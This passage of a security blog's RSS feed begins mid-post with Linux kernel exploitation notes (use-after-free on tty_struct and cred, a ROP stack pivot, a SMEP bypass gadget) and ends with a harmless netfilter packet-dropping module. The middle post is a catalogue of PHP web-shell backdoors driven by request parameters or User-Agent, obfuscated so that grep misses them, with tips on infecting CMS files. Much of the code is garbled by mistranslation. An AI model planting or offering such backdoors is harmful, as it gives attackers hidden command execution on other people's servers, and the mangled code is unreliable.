tty_oprations* ops</code>we can rewrite it to an address containing a pointer to a malicious function, such as when there is no <code>SMAP</code>time can directly point to the user space, thus controlling the execution flow.</p><p>So in the case of uaf, you can spray a lot <code>tty_struct</code>to occupy the chunk we released before, then uaf will <code>ops</code>change to its own address.</p><p>Reference practice&#65306;<a href="http://bobao.360.cn/learning/detail/4148.html">simple kernel exploit challenge</a></p><h4>uaf use struct&nbsp;cred</h4><p>And <code>tty_struct spary</code>similar, but also accounted for the pit, if <code>fork</code>a child process can just make the child process <code>cred</code>structure into the position we want, then we can directly overwrite <code>cred</code>the contents in order to put right.</p><p>Reference practice&#65306;<a href="http://bobao.360.cn/learning/detail/4148.html">simple kernel exploit challenge</a></p><h4>stack pivot</h4><p>If the pointer is just called <code>call rax</code>, then you can change the pointer to <code>xchg eax, esp</code>a gadget, then mmap a memory in the user space eax (ie <code>xchg eax, esp</code>the address of the gadget and the <code>0xffffffff</code>bit and value), and then write the ropchain to the memory, ie It can be <code>stack pivot</code></p><p>Eg:</p><pre><code>159. unsigned long lower_address = xchgeaxesp &amp; 0xFFFFFFFF;
160. unsigned long base = lower_address &amp; ~0xfff;
161. printf("[+] Base address is %lx\n", base);
162. if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
163.  perror("mmap");
164. exit(1);
165. }
166. 
167. unsigned long rop_chain[] = {
&#9;&#9;......
180. };
181. memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));</code></pre><h4>Mitigration</h4><p><em>checksec</em></p><ul><li><p>Kaslr can <code>cat /proc/cmdline</code>be viewed by, if the option is open with kaslr, the kernel is not enabled by default.</p></li><li><p>Smep can <code>cat /proc/cpuinfo</code>check the flags by smep</p></li></ul><p><em>Bypass</em></p><ul><li><p>SMEP smep is turned off by clearing the 20th bit of CR4, usually by the following gadget:</p></li></ul><pre><code>POP RDI ; RET // Place 00000000000006f0 in RDI MOV CR4 , RDI ;! RET // SMEP disbled     # 64- under-bit most is pop it 0x6f0 on the line</code></pre><p>Reference&#65306;<a href="http://blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/">linux-kernel-x86&#8211;64-bypass-smep-kaslr-kptr_restric</a></p><h4>something</h4><ul><li><p>Rsp in the kernel is 8-byte aligned</p></li><li><p><code>tty_struct</code>The magic may be:</p></li></ul><pre><code>#define TTY_STRUCT_MAGIC 0x5402
#define TTY_MAGIC 0x5401</code></pre><p><a href="https://dri.freedesktop.org/docs/drm/process/magic-number.html">magic number</a></p><ul><li><p><code>mmap</code>Generally used when adding <code>O_NOCTTY</code>, because:</p></li></ul><pre><code>The flag O_NOCTTY can tell UNIX that this program will not become the "control terminal" on this port. 
If you don't do this, all the input, such as the Ctrl+C abort signal coming from the keyboard, will affect your process.</code></pre><ul><li><p>I don&#8217;t know the size of the Linux kernel structure can compile a module, the module source code is used <code>sizeof</code>and then the compiler optimizes the reason, it will directly encode the size, and then <code>objdump -d</code>look at the assembly to know the size, but also pay attention to the options.</p></li><li><p>Defining kernel functions generally takes the following form (after the function address)</p></li></ul><pre><code>typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3)))(*prepare_kernel_cred_func)(unsigned long cred);</code></pre><pre><code>commit_creds_func commit_creds = (commit_creds_func)0xffffffff810a1420;
prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810 ;</code></pre><p>The use <code>regparm</code>is because the kernel function calling convention is different from the user mode. 32 bits use three registers to pass the first three parameters.</p><p>Refer to <a href="https://gcc.gnu.org/onlinedocs/gcc-4.0.0/gcc/Function-Attributes.html">gcc function attribute.</a></p><pre><code>Your are probably thinking normal calling convention (arguments on the stack). Modern Linux kernels (32-bit variants) pass the first 3 parameters in registers (EAX, ECX, EDX) as an optimization. Depending on the kernel this convention is specified as an attribute modifier on the functions using __attribute__(regparm(3)), or modern versions of the kernel pass -mregparm=3 option to GCC on the command line. The GCC documentation says this about that option/attribute:</code></pre><p>Reference&#65306;<a href="https://stackoverflow.com/questions/33932394/function-parameter-passing-in-a-linux-kernel-interrupt-handler-from-asm-to-c">Function parameter passing in a Linux kernel interrupt handler (from asm to C)</a></p><ul><li><p>Save the state of the user state:</p></li></ul><pre><code>unsigned long user_cs, user_ss, user_eflags;</code></pre><pre><code>void save_stats() {
    asm(
    "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "pushfq\n"
            "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)
    :
    :"memory"
    );
}</code></pre><h3>Kernel Debug</h3><h4>start up</h4><p>Qemu can directly add parameters <code>-gdb tcp::23333</code>, but pay attention to gdb connection server error, so use the <code>set architecture i386:x86-64</code>specified framework and then <code>target remote&nbsp;:23333</code>connect.</p><p>Reference: <a href="https://github.com/verctor/MyNotes/blob/master/linux">https://stackoverflow.com/questions/8662468/remote-g-packet-reply-is-too-long</a></p><h4>kallsyms</h4><p>Most of the time we are debugging drivers, and kallsyms has all the symbols in the kernel, including the driver module, so you can view the breakpoints of the module under kallsyms.</p><h3>Making cpio, initramfs file&nbsp;system</h3><p>Need two tools, one is to enter the kernel source code compilation:</p><p><code>make -C /usr/src/linux/usr/ gen_init_cpio</code></p><p>one is under the kernel source directory script</p><p><code>chmod +x usr/gen_init_cpio scripts/gen_initramfs_list.sh</code></p><p>Then create the initramfs file system with the following command:</p><pre><code>gen_initramfs_list.sh initrd/ &gt; filelist
gen_init_cpio filelist &gt;initrd.img
gzip initrd.img
mv initrd.img initrd-`uname &#8211;r`.img</code></pre><h3>About cred structure</h3><p>The first five fields of the default compiled cred are:</p><pre><code>struct cred {
&#9; unsigned  long usage;
&#9;unsigned  int uid;
&#9;unsigned  int gid;
&#9;unsigned  int south;
&#9;unsigned  int sgid;
&#9;unsigned  int euid;
&#9;...
};</code></pre><p>The test should clear all these fields to get root privileges. The usage field is related to the bit. Under 32 bits <code>unsigned int</code>, under 64 bits, the default cred structure is 0xa8 bytes.</p><h3>Return user&nbsp;mode</h3><p>The 64-bit uses the <code>swapgs</code>sum <code>iretq</code>, the former exchanges the data of gs and MSR, and the latter pops up the data from the stack in the following order:</p><pre><code>the next RIP
    user land CS
    user land EFLAGS
    user land RSP
    user land SS</code></pre><h3>Single file source kernel module compilation</h3><p><a href="http://blog.csdn.net/yby19870627/article/details/7360259">Basic programming of kernel modules and writing of Makefiles</a></p><h3>Get kernel compilation options</h3><p>Sometimes we want to get the kernel compile time options, such as to get the size of a structure (in this case, there is not enough source code), you can get it by:</p><p>At runtime:</p><pre><code>#Current kernel config:</code></pre><pre><code>cat /boot/config-`uname -r`</code></pre><pre><code>#Other installed kernels:</code></pre><pre><code>ls /boot/config-*</code></pre><pre><code>#The following three are possible</code></pre><pre><code> /proc/config.gz
 /boot/config
 /boot/config-$(uname -r)</code></pre><p>When you have a mirror: this time need to use the kernel source under <code>scripts/extract-ikconfig</code>script to get the mirror in the config, but it also requires kernel enabled at compile time <code>CONFIG_IKCONFIG_PROC</code>option.</p><h3>Extract vmlinux from the compressed image</h3><p>It <code>scripts/extract-vmlinux</code>can be easily extracted using the kernel source&nbsp;:&nbsp;<code>./extract-vmlinux bzImage &gt; vmlinx</code></p><h3>linux kernel</h3><h4>stack</h4><p><a href="http://kyang.cc/2016/08/26/Linux-%E4%B8%AD%E7%9A%84%E5%90%84%E7%A7%8D%E6%A0%88%EF%BC%9A%E8%BF%9B%E7%A8%8B%E6%A0%88-%E7%BA%BF%E7%A8%8B%E6%A0%88-%E5%86%85%E6%A0%B8%E6%A0%88-%E4%B8%AD%E6%96%AD%E6%A0%88/">Various stacks in Linux: process stack thread stack kernel stack interrupt stack</a></p><h4>tty/pty/ptmx</h4><p><a href="http://blog.csdn.net/tenfyguo/article/details/5742389">Under Linux tty / pty / pts / ptmx Detailed </a><a href="http://www.cnblogs.com/johnnyflute/p/3523409.html">ptmx and analysis terminal when the relationship is created pts</a></p><h4>Call convention 64&nbsp;bit</h4><p>32-bit can refer to the above</p><pre><code>A.2 AMD64 Linux Kernel Conventions</code></pre><pre><code>1. User-level applications use as integer registers for passing the sequence
%rdi, %rsi, %rdx, %rcx, %r8 and %r9. The kernel interface uses %rdi,
%rsi, %rdx, %r10, %r8 and %r9.</code></pre><pre><code>2. A system-call is done via the syscall instruction. The kernel destroys
registers %rcx and %r11.</code></pre><pre><code>3. The number of the syscall has to be passed in register %rax.
4. System-calls are limited to six arguments, no argument is passed directly on
the stack.</code></pre><pre><code>5. Returning from the syscall, register %rax contains the result of the
system-call. A value in the range between -4095 and -1 indicates an error,
it is -errno.</code></pre><pre><code>6. Only values of class INTEGER or class MEMORY are passed to the kernel.</code></pre><h4>source</h4><p><a href="http://elixir.free-electrons.com/linux/latest/source">free-electrons</a></p><h3>I don&#8217;t understand for a&nbsp;while</h3><p>It found that watching someone else rewrite wp <code>tty_struct</code>of <code>ops</code>even apply for a piece of memory pointer after the write pointer <code>ops</code>points to <code>proc_fops</code>:</p><pre><code>struct tty_operations* fake_tty_operations = (struct tty_operations*) calloc(1, sizeof(struct tty_operations));
    void *fake_file_operations = calloc(1, 0x1000);</code></pre><pre><code>    fake_tty_operations-&gt;proc_fops = fake_file_operations;
    fake_tty_operations-&gt;ioctl = (int (*)())xchg_eax_esp_ret;</code></pre><p>I don&#8217;t understand the intention for the time being&#8230;</p><h3>Something you have&nbsp;seen</h3><p><a href="https://tc.gtisc.gatech.edu/bss/2014/r/kernel-exploits.pdf">Writing kernel exploits</a></p>]]></content:encoded></item><item><title><![CDATA[HOLD THE SHIT — PHP Backdoor for fun]]></title><description><![CDATA[This little post for fun is focused on one of the different techniques. Thinking out of the box, giving exit() basics used in many&#8230;]]></description><link>https://www.anhtai.me/p/hold-the-shit-php-backdoor-for-fun-196c202c8cbf</link><guid isPermaLink="false">https://www.anhtai.me/p/hold-the-shit-php-backdoor-for-fun-196c202c8cbf</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Tue, 12 Feb 2019 04:45:45 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hV51!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5fd6d6c-dc83-45c8-8e93-9c97dc63b229_640x640.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This little post for fun is focused on one of the different techniques. Thinking out of the box, giving exit() basics used in many backdoor codes.</p><p>The post focused on the global variables GET, POST, REQUEST.</p><h4>The most used functions:</h4><pre><code>(PHP 4, PHP 5, PHP 7) 
shell_exec - Execute command via shell and return the complete output as a string
 string shell_exec (string $ cmd)
EXEC-&gt; php -r 'shell_exec ("ls -la");'</code></pre><pre><code>(PHP 4, PHP 5, PHP 7) 
system - Executes an external program and shows the output
 string system (string $ command [, int &amp; $ return_var])
EXEC-&gt; php -r 'system ("ls -la");'</code></pre><pre><code>(PHP 4, PHP 5, 7 PHP) 
exec - Execute external program
 string Exec (Command String $ [, $ &amp; array output [int &amp; return_var $]])
EXEC-&gt; php -r 'exec ("ls -la", $ var); print_r ($ var);'</code></pre><pre><code>(PHP 4, PHP 5, PHP 7) 
passthru - Execute an external program and show the raw output
 void passthru (string $ command [, int &amp; $ return_var]) 
EXEC-&gt; php -r 'passthru ("ls -la", $ var); '</code></pre><h4>Simple implementation:</h4><pre><code>shell_exec: 
 if (isset ($ _ REQUEST ['cmd'])) {$ cmd = shell_exec ($ _ REQUEST ['cmd']);
 print_r ($ cmd);} </code></pre><pre><code>system: 
 if (isset ($ _ REQUEST ['cmd'])) {system ($ _ REQUEST ['cmd']); }</code></pre><pre><code>exec:
 if (isset ($ _ REQUEST ['cmd'])) {exec ($ _ REQUEST ['cmd']); }</code></pre><pre><code>passthru:
 if (isset ($ _ REQUEST ['cmd'])) {passthru ($ _ REQUEST ['cmd']); }</code></pre><p>We can use the same functions, but in an elaborate way avoiding that a simple <strong>&#8220;grep -E&#8221;</strong> reveals our access.</p><h4>TIPS:</h4><ul><li><p>Use of shellcode in fixed values.</p></li><li><p>Array is life! Use without moderation.</p></li><li><p>Concatenation of native functions &amp; definition of variables.</p></li><li><p>base64_decode&#8202;&#8212;&#8202;encode (data), bin2hex, error_reporting (0)</p></li><li><p>Use requests (get or post) that already exist on the system.</p></li><li><p>Study the creation of malicious properties in system&#8217;s class, create its functions.</p></li><li><p>Handling values &#8203;&#8203;of the global variable $ _SERVER.</p></li><li><p>Study infection methods for CMS files made in PHP.</p></li></ul><h4>Let&#8217;s go to the&nbsp;examples</h4><p><strong>EXAMPLE 01</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.base64-decode.php">BASE64_DECODE</a></p></li><li><p><a href="http://php.net/manual/en/function.define.php">DEFINE</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">SYSTEM</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>c3lzdGVt = system, dW5hbWUgLWE7bHM7 = uname -a; ls;&nbsp;, aWQ = = id </strong><br><strong> CODE:</strong></p><pre><code>(error_reporting (0)) ($ __ = @ base64_decode ("c3lzdGVt")) $ __ ( base64_decode ("aWQ ="))
. define ("_", "dW5hbWUgLWE7bHM7"). __ ( base64_decode (_)). exit );</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php'</p><p><strong>EXAMPLE 02</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.base64-decode.php">BASE64_DECODE</a></p></li><li><p><a href="http://php.net/manual/en/function.isset.php">ISSET</a></p></li><li><p><a href="http://php.net/manual/en/function.print.php">PRINT</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">SYSTEM</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>c3lzdGVt = system</strong>&nbsp;<br><strong>CODE:</strong></p><pre><code>(error_reporting (0) (= @ $ __. base64_decode ( "c3lzdGVt"))
 . print ($ __ ( Isset ($ _REQUEST [0]) REQUEST $ _ [0] NULL))?. EXIT );</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?0=id'</p><p><strong>EXAMPLE 03</strong></p><p>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.base64-decode.php">BASE64_DECODE</a></p></li><li><p><a href="http://php.net/manual/en/function.create-function.php">CREATE_FUNCTION</a>&#8202;&#8212;&#8202;Creates an anonymous function (lambda-style)</p></li><li><p><a href="http://php.net/manual/en/function.shell-exec.php">SHELL_EXEC</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>ZWNobyhzaGVsbF9leGVjKCRfKSk7 = echo (shell_exec ($ _));</strong>&nbsp;<br><strong>CODE:</strong></p><pre><code>( Error_reporting (0)) ($ _ = $ _ REQUEST [0]).
 ($ __ = @. Create_function ( '$ _' base64_decode ( "ZWNobyhzaGVsbF9leGVjKCRfKSk7"))) ($ __ ($ _) exit..);</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?0=id'</p><p><strong>EXAMPLE 04</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>$ _GET [1] = Function name, $ _GET [2] = command that will execute</strong>&nbsp;<br><strong>CODE:</strong></p><pre><code>( Error_reporting (0) (= @ $ _ $ _ GET [1]) (.. $ _ ($ _GET [2])). EXIT );</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?1=system&amp;2=id;uname'</p><p><strong>EXAMPLE 05</strong></p><p>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.extract.php">EXTRACT</a></p></li><li><p><a href="http://php.net/manual/en/function.get-defined-vars.php">GET_DEFINED_VARS</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="http://php.net/manual/en/function.define.php">DEFINE</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>$ _REQUEST [1] = Function name, $ _REQUEST [2] = command that will execute</strong></p><p><strong>CODE:</strong></p><pre><code>( error_reporting (0)). ( extract ($ _REQUEST, EXTR_PREFIX_ALL))
($ _ = @ get_defined_vars () ['_ REQUEST']) ( define ('_', $ _ [2])) (($ _ [1] (_));</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?1=system&amp;2=id;uname'</p><p><strong>EXAMPLE 06</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.explode.php">EXPLODE</a></p></li><li><p><a href="http://php.net/manual/en/function.base64-decode.php">BASE64_DECODE</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>SFRUUF9VU0VSX0FHRU5U = HTTP_USER_AGENT </strong><br><strong>CODE:</strong></p><pre><code>( error_reporting (0)). ($ _ = @ explode (',', $ _ SERVER [ base64_decode ('SFRUUF9VU0VSX0FHRU5U')]))
($ _ [0] ("{$ _ [1]")). exit ;</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php'&#8202;&#8212;&#8202;user-agent&#8217;system,id;ls -la&#8217;</p><p><strong>EXAMPLE 07</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.get-defined-vars.php">GET_DEFINED_VARS</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="https://pt.wikipedia.org/wiki/Shellcode">VARIABLE SHELLCODE</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">SYSTEM</a></p></li><li><p><a href="http://php.net/manual/en/function.exit.php">EXIT</a></p></li></ol><p>Variables: <strong>\x30=0, \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6D=m</strong>&nbsp;<br><strong>CODE:</strong></p><pre><code>( error_reporting (0)). ($ _ [0] [] = @ $ _ GET ["\ x30"])
($ _ [1] [] = "\ x73") ($ _ [1] [] = "\ x79").
($ _ [1] [] = "\ x6D") ($ _ [1] [] = "\ x65").($ ___. = $ __ [0]) 
($ __ = @ get_defined_vars () ['_'] [1])
($ ___. = $ __ [1]) ($ ___. = $ __ [2]) ($ ___. = $ __ [3])
. ($ = ___ __ $ [4].) ($ = $ __ ___ [5].) (($ ___ ( "{$ _ [0] [0]}"))... EXIT );</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?0=id;uname%20-a'</p><p><strong>EXAMPLE 08</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.str-replace.php">STR_REPLACE</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li></ol><p>Variables: <strong>$ _REQUEST [0] = Command that will execute</strong>&nbsp;<br><strong>CODE:</strong></p><pre><code>( error_reporting (0)). ( str_replace ('$', '@', '#')
 , 's $ ## and @ # $ @ # $ @ # $ @ s $ # $ @ # $ ($ _ {$ _ REQUEST [0]}));</code></pre><p>Execution: curl -v &#8216;http://localhost/shell.php?0=id</p><p><strong>EXAMPLE 09</strong><br>Functions:</p><ol><li><p><a href="https://secure.php.net/manual/en/function.error-reporting.php">ERROR_REPORTING</a></p></li><li><p><a href="http://php.net/manual/en/function.str-replace.php">STR_REPLACE</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">SYSTEM</a></p></li></ol><p>Variables: <strong>$ _POST [&#8216;shellrox&#8217;] = Command that will execute </strong><br><strong>CODE:</strong></p><pre><code>( error_reporting (0)). ($ _ = [("\ x73 \ x79").
("\ x74 \ x65 \ x6d"), "\ x73 \ x68 \ x65 \ x6c", "\ x6c \ x72 \ x6f \ x78"
($ _ [0] ($ _ POST [$ _ [1]. $ _ [2]]));</code></pre><p>Execution: curl -d &#8220;shellrox=id;uname -a&#8221; -X POST &#8216;http://localhost/shell.php'</p><p><strong>EXAMPLE 10</strong></p><p>Functions:</p><ol><li><p><a href="http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/">NON ALPHA NUMERIC</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">VARIABLE FUNCTIONS</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">SYSTEM</a></p></li></ol><p><strong>CODE:</strong></p><pre><code>$ _ = ""; # we need a blank string to start
Eur-lex.europa.eu eur-lex.europa.eu # access part of the string to convert to an array
$ _ = $ _. ""; # convert the array into a string of "Array"
Eur-lex.europa.eu eur-lex.europa.eu # access the 0 index of the string "Array" which is "A"</code></pre><pre><code># INCREASING VALUES TO FIND THE LETTERS
# IF YOU WANT TO MOUNT THE STRING SYSTEM</code></pre><pre><code>($ _ ++); #THE
($ _ ++); #B
($ _ ++); #W
($ _ ++); #D</code></pre><pre><code># FIRST LETTER FOUND IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);</code></pre><pre><code>($ _ ++); #F
($ _ ++); #G
($ _ ++); #H
($ _ ++); #I
($ _ ++); #J
($ _ ++); #K
($ _ ++); #L</code></pre><pre><code># FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY</code></pre><pre><code>($ ___ [] = $ _ ++); # M</code></pre><pre><code>($ _ ++); #N
($ _ ++); #O
($ _ ++); #P
($ _ ++); #Q
($ _ ++); #R</code></pre><pre><code># FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY</code></pre><pre><code>($ ___ [] = $ _ ++);</code></pre><pre><code># FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY</code></pre><pre><code>($ ___ [] = $ _ ++); # T</code></pre><pre><code>($ _ ++); #U
($ _ ++); #V
($ _ ++); #W
($ _ ++); #X</code></pre><pre><code># FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY</code></pre><pre><code>($ ___ [] = $ _ ++);</code></pre><pre><code>(Z)

</code></pre><pre><code># ARRAY DEBUG:
/ * Array
(
    [0] =&gt; E
    [1] =&gt; M
    [2] =&gt; S
    [3] =&gt; T
    [4] =&gt; Y
)
* /</code></pre><pre><code># MOUNT STRING WITH ARRAY FIELDS $ ___  
$ ___ [2]. $ ___ [4]. $ ___ [2]. $ ___ [3]. ___ [0]. ___ [1];</code></pre><pre><code># USING ANONYMOUS FUNCTION TECHNIQUE FOR IMPLEMENTATION
$ _____ ('id; uname -a');</code></pre><h4>MINIMALIST VERSION:</h4><pre><code>($ _ = $ _ [+] "). ($ _ ++). ($ _ = $ _.
($ _ ++). ($ _ ++). ($ _ ++) ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++).
($ ___ [] = $ _ ++). ($ _ ++)
(_____ = $ ___ [2]. $ ___ [4]. ___ [2]. ___ [3]. ___ [0]. ___ [1])
($ _____ ('id; uname -a'));</code></pre><pre><code>Execution: curl -v 'http://localhost/shell.php'</code></pre><h4>Note: There are thousands more techniques, and I will try to make other posts&nbsp;about.</h4><h4>References</h4><ul><li><p><a href="http://php.net/manual/en/language.operators.execution.php#language.operators.execution">http://php.net/manual/en/language.operators.execution.php#language.operators.execution</a></p></li><li><p><a href="http://php.net/manual/en/functions.variable-functions.php">http://php.net/manual/en/functions.variable-functions.php</a></p></li><li><p><a href="http://php.net/manual/en/function.exec.php">http://php.net/manual/en/function.exec.php</a></p></li><li><p><a href="http://php.net/manual/en/function.shell-exec.php">http://php.net/manual/en/function.shell-exec.php</a></p></li><li><p><a href="http://php.net/manual/en/function.system.php">http://php.net/manual/</a><a href="http://php.net/manual/en/function.shell-exec.php">en</a><a href="http://php.net/manual/en/function.system.php">/function.system.php</a></p></li><li><p><a href="http://php.net/manual/en/function.passthru.php">http://php.net/manual/</a><a href="http://php.net/manual/en/function.shell-exec.php">en</a><a href="http://php.net/manual/en/function.passthru.php">/function.passthru.php</a></p></li><li><p><a href="http://php.net/manual/en/function.get-defined-vars.php">http://php.net/manual/</a><a href="http://php.net/manual/en/function.shell-exec.php">en</a><a href="http://php.net/manual/en/function.get-defined-vars.php">/function.get-defined-vars.php</a></p></li><li><p><a href="http://php.net/manual/en/function.extract.php">http://php.net/manual/</a><a href="http://php.net/manual/en/function.shell-exec.php">en</a><a href="http://php.net/manual/en/function.extract.php">/function.extract.php</a></p></li><li><p><a href="http://php.net/manual/en/function.create-function.php">http://php.net/manual/</a><a href="http://php.net/manual/en/function.shell-exec.php">en</a><a href="http://php.net/manual/en/function.create-function.php">/function.create-function.php</a></p></li><li><p><a href="http://php.net/manual/en/function.extract.php">http://php.net/manual/en/function.extract.php</a></p></li><li><p><a href="http://php.net/manual/en/reserved.variables.server.php">http://php.net/manual/en/reserved.variables.server.php</a></p></li><li><p><a href="https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell">https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell</a></p></li><li><p><a href="https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html">https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Code a simple blackhole]]></title><description><![CDATA[Source Code:]]></description><link>https://www.anhtai.me/p/code-a-simple-blackhole-af6edcef8e20</link><guid isPermaLink="false">https://www.anhtai.me/p/code-a-simple-blackhole-af6edcef8e20</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Mon, 11 Feb 2019 12:38:59 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hV51!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5fd6d6c-dc83-45c8-8e93-9c97dc63b229_640x640.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Source Code:</p><pre><code>
 #include &lt;linux/kernel.h&gt;
 #include &lt;linux/module.h&gt;
 #include &lt;linux/netfilter.h&gt;
 #include &lt;linux/netfilter_ipv4.h&gt;
 #include &lt;linux/skbuff.h&gt;
 #include &lt;linux/tcp.h&gt;
 #include &lt;linux/udp.h&gt;
 #include &lt;linux/ip.h&gt;

static struct nf_hook_ops nfho;
struct tcphdr *tcp_header;
struct iphdr *ip_header;

unsigned int hook_func(
  const struct nf_hook_ops *ops, 
  struct sk_buff *skb, 
  const struct net_device *in, 
  const struct net_device *out, 
  int (*okfn)(struct sk_buff *)) {

  ip_header = (struct iphdr *)skb_network_header(skb);
  if (ip_header-&gt;protocol == /* TCP */ 6) {
    tcp_header = tcp_hdr(skb);
    u32 saddr, daddr;
    u16 sport, dport;
    saddr = ntohl(ip_header-&gt;saddr);
    daddr = ntohl(ip_header-&gt;daddr);
    sport = ntohs(tcp_header-&gt;source);
    dport = ntohs(tcp_header-&gt;dest);</code></pre><pre><code>// if packet from local port 7000, drop it.
    if (sport == 7000) {
      printk(KERN_INFO "got tcp packet at 7000 port.\n");
      return NF_DROP;
    }
  }
  return NF_ACCEPT;
}

int init_module() {
  nfho.hook = hook_func;
  nfho.hooknum = NF_INET_LOCAL_OUT;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_hook(&amp;nfho);
  return 0;
}

void cleanup_module() {
  nf_unregister_hook(&amp;nfho);
}</code></pre>]]></content:encoded></item></channel></rss>